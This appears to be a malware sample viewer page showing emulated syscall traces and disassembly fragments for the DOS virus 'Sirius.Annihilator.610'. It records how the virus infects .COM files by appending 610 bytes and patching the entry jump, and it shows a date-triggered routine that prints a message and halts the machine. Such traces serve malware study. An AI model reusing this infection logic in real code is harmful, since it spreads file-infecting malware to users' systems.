Sample viewer

vx.netlux.org/Virus.DOS.Sirius.Annihilator.610

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:20:16.942414776Z 53 PC: 15308 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:20:16.94399409Z 37 PC: 1531b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:20:16.94565712Z 26 PC: 15195 | Set disk transfer address
2018-12-17T22:20:16.946618955Z 25 PC: 151a3 | Get default drive
2018-12-17T22:20:16.948873516Z 14 PC: 151ae | Set default drive (Drive = 'C')
2018-12-17T22:20:16.950036534Z 78 PC: 151de | Find first file
2018-12-17T22:20:16.95536109Z 61 PC: 151e9 | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:20:16.962480719Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:16.963927881Z 62 PC: 15210 | Close file
2018-12-17T22:20:16.965665559Z 79 PC: 151de | Find next file
2018-12-17T22:20:16.96774876Z 14 PC: 151ba | Set default drive (Drive = 'A')
2018-12-17T22:20:16.969087829Z 78 PC: 151de | Find first file
2018-12-17T22:20:16.975185939Z 61 PC: 151e9 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:20:16.982308248Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:16.995176532Z 62 PC: 15210 | Close file
2018-12-17T22:20:16.996995661Z 79 PC: 151de | Find next file
2018-12-17T22:20:16.999374862Z 61 PC: 151e9 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:20:17.006634994Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.00850502Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.019843903Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.023218765Z 61 PC: 151e9 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:20:17.028731207Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.030229377Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.033766055Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.036107284Z 61 PC: 151e9 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:20:17.041581601Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.043825815Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.045379175Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.047651423Z 61 PC: 151e9 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:20:17.056476562Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.057871469Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.059522558Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.061979527Z 61 PC: 151e9 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:20:17.067711617Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.069430118Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.071145906Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.073793592Z 61 PC: 151e9 | Open file (Filename = 'PAH.COM')
2018-12-17T22:20:17.079033132Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.080644779Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.082676783Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.084882944Z 61 PC: 151e9 | Open file (Filename = 'TEST.COM')
2018-12-17T22:20:17.090039926Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.091982317Z 87 PC: 15200 | Get or set file date and time
2018-12-17T22:20:17.093153681Z 44 PC: 15220 | Get time 0x15220: cmp dx, 0x100
0x15224: jbe 0x1521c
0x15226: mov word ptr ds:[bp + 0x11e], dx
0x1522b: and dx, 7
0x1522e: add dx, dx
0x15230: mov word ptr [0xf4], dx
0x15234: mov ax, 0x4200
0x15237: call 0x152dd
0x1523a: mov ah, 0x3f
0x1523c: lea dx, word ptr [bp + 0x35e]
0x15240: mov cx, 3
0x15243: int 0x21
0x15245: cmp byte ptr ds:[bp + 0x35e], 0x4d
0x1524b: je 0x1520c
0x1524d: cmp byte ptr ds:[bp + 0x35e], 0x5a
0x15253: je 0x1520c
0x15255: mov ax, 0x4202
0x15258: call 0x152dd
0x1525b: sub ax, 3
0x1525e: mov word ptr cs:[bp + 0x35c], ax
2018-12-17T22:20:17.094846259Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.096757642Z 63 PC: 15245 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:20:17.099093542Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.1003545Z 64 PC: 1529d | Write file or device (Write 610 bytes on handle 5)
2018-12-17T22:20:17.114229953Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.115605053Z 64 PC: 152b0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:20:17.118037706Z 87 PC: 152b7 | Get or set file date and time
2018-12-17T22:20:17.120333315Z 62 PC: 152bb | Close file
2018-12-17T22:20:17.126787081Z 42 PC: 152bf | Get date 0x152bf: test dh, 1
0x152c2: jne 0x152dc
0x152c4: cmp dh, dl
0x152c6: jne 0x152dc
0x152c8: cmp cx, 0x7ca
0x152cc: jbe 0x152dc
0x152ce: cmp al, 4
0x152d0: jbe 0x152dc
0x152d2: mov ah, 9
0x152d4: lea dx, word ptr [bp + 0x2e9]
0x152d8: int 0x21
0x152da: cli
0x152db: hlt
0x152dc: ret
0x152dd: xor cx, cx
0x152df: xor dx, dx
0x152e1: int 0x21
0x152e3: ret
0x152e4: pop word ptr cs:[0xf6]
0x152e9: pop es
2018-12-17T22:20:17.128467897Z 78 PC: 151de | Find first file
2018-12-17T22:20:17.133726615Z 61 PC: 151e9 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:20:17.1391931Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.140497229Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.153844219Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.156302747Z 61 PC: 151e9 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:20:17.162311698Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.165194758Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.167138278Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.169437063Z 61 PC: 151e9 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:20:17.175713217Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.177271057Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.178908262Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.182194628Z 61 PC: 151e9 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:20:17.188166501Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.18939177Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.191127675Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.193438567Z 61 PC: 151e9 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:20:17.19886414Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.200426285Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.202434012Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.204602865Z 61 PC: 151e9 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:20:17.210176201Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.211987251Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.21413163Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.216638183Z 61 PC: 151e9 | Open file (Filename = 'PAH.COM')
2018-12-17T22:20:17.223276578Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.225680382Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.22722186Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.229566147Z 61 PC: 151e9 | Open file (Filename = 'TEST.COM')
2018-12-17T22:20:17.23480361Z 66 PC: 152e3 | Move file pointer
2018-12-17T22:20:17.23643434Z 87 PC: 15200 | Get or set file date and time
2018-12-17T22:20:17.239636711Z 62 PC: 15210 | Close file
2018-12-17T22:20:17.241383161Z 79 PC: 151de | Find next file
2018-12-17T22:20:17.243579211Z 26 PC: 151c7 | Set disk transfer address
2018-12-17T22:20:17.245684722Z 37 PC: 1532c | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:20:17.24852809Z 9 PC: 12bb5 | Display string (String= '')
2018-12-17T22:20:17.250543671Z 9 PC: 12bbc | Display string (Could not find end pointer)
2018-12-17T22:20:17.260470519Z 76 PC: 12bd2 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":3512,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:25.373672766Z 53 PC: 15308 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.376208616Z 37 PC: 1531b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.377856787Z 26 PC: 15195 | Set disk transfer address
2018-12-25T11:49:25.379297874Z 25 PC: 151a3 | Get default drive
2018-12-25T11:49:25.380716097Z 14 PC: 151ae | Set default drive (Drive = 'C')
2018-12-25T11:49:25.383037254Z 78 PC: 151de | Find first file
2018-12-25T11:49:25.389125841Z 61 PC: 151e9 | Open file (Filename = 'COMMAND.COM')
2018-12-25T11:49:25.396927705Z 66 PC: 152e3 | Move file pointer
2018-12-25T11:49:25.399103322Z 62 PC: 15210 | Close file
2018-12-25T11:49:25.401148609Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.404624274Z 14 PC: 151ba | Set default drive (Drive = 'A')
2018-12-25T11:49:25.406851893Z 78 PC: 151de | Find first file (See above)
2018-12-25T11:49:25.413496315Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.421024915Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.423507484Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.425558538Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.428491596Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.440728533Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.442492241Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.448833771Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.465717262Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.475871443Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.47814773Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.480734261Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.485196657Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.49306212Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.495079752Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.498327605Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.50143264Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.510096647Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.513251066Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.516575279Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.520412201Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.527219076Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.534332856Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.550941478Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.553506989Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.573691797Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.57564637Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.578018667Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.585613595Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.593362153Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.59548895Z 87 PC: 15200 | Get or set file date and time
2018-12-25T11:49:25.597458588Z 44 PC: 15220 | Get time 0x15220: cmp dx, 0x100
0x15224: jbe 0x1521c
0x15226: mov word ptr ds:[bp + 0x11e], dx
0x1522b: and dx, 7
0x1522e: add dx, dx
0x15230: mov word ptr [0xf4], dx
0x15234: mov ax, 0x4200
0x15237: call 0x152dd
0x1523a: mov ah, 0x3f
0x1523c: lea dx, word ptr [bp + 0x35e]
0x15240: mov cx, 3
0x15243: int 0x21
0x15245: cmp byte ptr ds:[bp + 0x35e], 0x4d
0x1524b: je 0x1520c
0x1524d: cmp byte ptr ds:[bp + 0x35e], 0x5a
0x15253: je 0x1520c
0x15255: mov ax, 0x4202
0x15258: call 0x152dd
0x1525b: sub ax, 3
0x1525e: mov word ptr cs:[bp + 0x35c], ax
2018-12-25T11:49:25.600013223Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.60125266Z 63 PC: 15245 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:25.604053291Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.6063793Z 64 PC: 1529d | Write file or device (Write 610 bytes on handle 5)
2018-12-25T11:49:25.625582292Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.627382698Z 64 PC: 152b0 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:25.632318825Z 87 PC: 152b7 | Get or set file date and time
2018-12-25T11:49:25.634422551Z 62 PC: 152bb | Close file
2018-12-25T11:49:25.64333085Z 42 PC: 152bf | Get date 0x152bf: test dh, 1
0x152c2: jne 0x152dc
0x152c4: cmp dh, dl
0x152c6: jne 0x152dc
0x152c8: cmp cx, 0x7ca
0x152cc: jbe 0x152dc
0x152ce: cmp al, 4
0x152d0: jbe 0x152dc
0x152d2: mov ah, 9
0x152d4: lea dx, word ptr [bp + 0x2e9]
0x152d8: int 0x21
0x152da: cli
0x152db: hlt
0x152dc: ret
0x152dd: xor cx, cx
0x152df: xor dx, dx
0x152e1: int 0x21
0x152e3: ret
0x152e4: pop word ptr cs:[0xf6]
0x152e9: pop es
2018-12-25T11:49:25.646815228Z 78 PC: 151de | Find first file (See above)
2018-12-25T11:49:25.661696792Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.669784954Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.674052243Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.677091368Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.680404372Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.688257741Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.69109772Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.693545695Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.697667967Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.706104136Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.707729413Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.709712124Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.713344512Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.720820894Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.722709779Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.725638642Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.730903841Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.738379435Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.740909874Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.743261785Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.746442976Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.754255858Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.756334344Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.758618127Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.761754494Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.770502754Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.772471272Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.774847556Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.778368155Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.785883856Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.787865951Z 87 PC: 15200 | Get or set file date and time (See above)
2018-12-25T11:49:25.790226373Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.792574892Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.795498138Z 26 PC: 151c7 | Set disk transfer address
2018-12-25T11:49:25.798000688Z 37 PC: 1532c | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.802187427Z 9 PC: 12bb5 | Display string (String= '')
2018-12-25T11:49:25.804840423Z 9 PC: 12bbc | Display string (Could not find end pointer)
2018-12-25T11:49:25.817578186Z 76 PC: 12bd2 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":3512,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:25.499460571Z 53 PC: 15308 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.501690425Z 37 PC: 1531b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.503837762Z 26 PC: 15195 | Set disk transfer address
2018-12-25T11:49:25.50558628Z 25 PC: 151a3 | Get default drive
2018-12-25T11:49:25.507499437Z 14 PC: 151ae | Set default drive (Drive = 'C')
2018-12-25T11:49:25.509734246Z 78 PC: 151de | Find first file
2018-12-25T11:49:25.516076885Z 61 PC: 151e9 | Open file (Filename = 'COMMAND.COM')
2018-12-25T11:49:25.522996489Z 66 PC: 152e3 | Move file pointer
2018-12-25T11:49:25.525807906Z 62 PC: 15210 | Close file
2018-12-25T11:49:25.52871638Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.531458085Z 14 PC: 151ba | Set default drive (Drive = 'A')
2018-12-25T11:49:25.533539521Z 78 PC: 151de | Find first file (See above)
2018-12-25T11:49:25.54030564Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.547737969Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.550657529Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.552938432Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.556082478Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.563716787Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.56541931Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.567414132Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.57133919Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.578743173Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.580657235Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.583228573Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.587139278Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.594656829Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.596664247Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.600936822Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.610762797Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.618216148Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.620835458Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.623151314Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.626235685Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.634499771Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.636583622Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.644439472Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.648209006Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.655513481Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.657128057Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.659474951Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.662408804Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.670484479Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.672412375Z 87 PC: 15200 | Get or set file date and time
2018-12-25T11:49:25.674778364Z 44 PC: 15220 | Get time 0x15220: cmp dx, 0x100
0x15224: jbe 0x1521c
0x15226: mov word ptr ds:[bp + 0x11e], dx
0x1522b: and dx, 7
0x1522e: add dx, dx
0x15230: mov word ptr [0xf4], dx
0x15234: mov ax, 0x4200
0x15237: call 0x152dd
0x1523a: mov ah, 0x3f
0x1523c: lea dx, word ptr [bp + 0x35e]
0x15240: mov cx, 3
0x15243: int 0x21
0x15245: cmp byte ptr ds:[bp + 0x35e], 0x4d
0x1524b: je 0x1520c
0x1524d: cmp byte ptr ds:[bp + 0x35e], 0x5a
0x15253: je 0x1520c
0x15255: mov ax, 0x4202
0x15258: call 0x152dd
0x1525b: sub ax, 3
0x1525e: mov word ptr cs:[bp + 0x35c], ax
2018-12-25T11:49:25.678020758Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.679917483Z 63 PC: 15245 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:25.684155361Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.68765053Z 64 PC: 1529d | Write file or device (Write 610 bytes on handle 5)
2018-12-25T11:49:25.699139725Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.701418154Z 64 PC: 152b0 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:25.704965756Z 87 PC: 152b7 | Get or set file date and time
2018-12-25T11:49:25.706912849Z 62 PC: 152bb | Close file
2018-12-25T11:49:25.726492799Z 42 PC: 152bf | Get date 0x152bf: test dh, 1
0x152c2: jne 0x152dc
0x152c4: cmp dh, dl
0x152c6: jne 0x152dc
0x152c8: cmp cx, 0x7ca
0x152cc: jbe 0x152dc
0x152ce: cmp al, 4
0x152d0: jbe 0x152dc
0x152d2: mov ah, 9
0x152d4: lea dx, word ptr [bp + 0x2e9]
0x152d8: int 0x21
0x152da: cli
0x152db: hlt
0x152dc: ret
0x152dd: xor cx, cx
0x152df: xor dx, dx
0x152e1: int 0x21
0x152e3: ret
0x152e4: pop word ptr cs:[0xf6]
0x152e9: pop es
2018-12-25T11:49:25.7309331Z 78 PC: 151de | Find first file (See above)
2018-12-25T11:49:25.738428879Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.748049765Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.749617076Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.751689076Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.756942365Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.765490434Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.767500787Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.769908216Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.774182655Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.781796619Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.78374313Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.786808759Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.790035114Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.797630197Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.800374832Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.803023004Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.806183579Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.815326205Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.816951186Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.818873485Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.821744607Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.832473148Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.834424641Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.836813625Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.841061959Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.846637133Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.847817462Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.849731591Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.851483961Z 61 PC: 151e9 | Open file (See above)
2018-12-25T11:49:25.856072479Z 66 PC: 152e3 | Move file pointer (See above)
2018-12-25T11:49:25.857777759Z 87 PC: 15200 | Get or set file date and time (See above)
2018-12-25T11:49:25.864535563Z 62 PC: 15210 | Close file (See above)
2018-12-25T11:49:25.884365346Z 79 PC: 151de | Find next file (See above)
2018-12-25T11:49:25.888864555Z 26 PC: 151c7 | Set disk transfer address
2018-12-25T11:49:25.890094577Z 37 PC: 1532c | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:49:25.895433526Z 9 PC: 12bb5 | Display string (String= '')
2018-12-25T11:49:25.898173265Z 9 PC: 12bbc | Display string (Could not find end pointer)
2018-12-25T11:49:25.910980469Z 76 PC: 12bd2 | Terminate with return code (Return code = '0')